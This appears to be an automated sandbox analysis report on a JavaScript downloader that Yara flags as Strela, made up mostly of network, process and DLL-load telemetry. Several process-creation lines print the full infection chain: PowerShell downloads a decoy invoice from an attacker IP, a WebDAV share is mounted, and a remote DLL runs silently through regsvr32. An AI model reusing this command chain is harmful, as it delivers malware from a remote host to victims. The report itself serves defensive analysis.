HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1425396865.000001F092D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1482061883.0000027D70678000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482061883.0000027D7069D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482061883.0000027D706CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000007.00000002.1482061883.0000027D706A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: net.exe, 00000007.00000002.1482061883.0000027D70678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tsvcsaE
Source: svchost.exe, 00000009.00000002.2709539213.0000020709200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1483198985.0000020708F70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7500, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 146362284148625748.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaj4bt3m.iud.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\146362284148625748.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1644,i,12496588362845181139,9270830827004441692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143671108429535.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1644,i,12496588362845181139,9270830827004441692,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
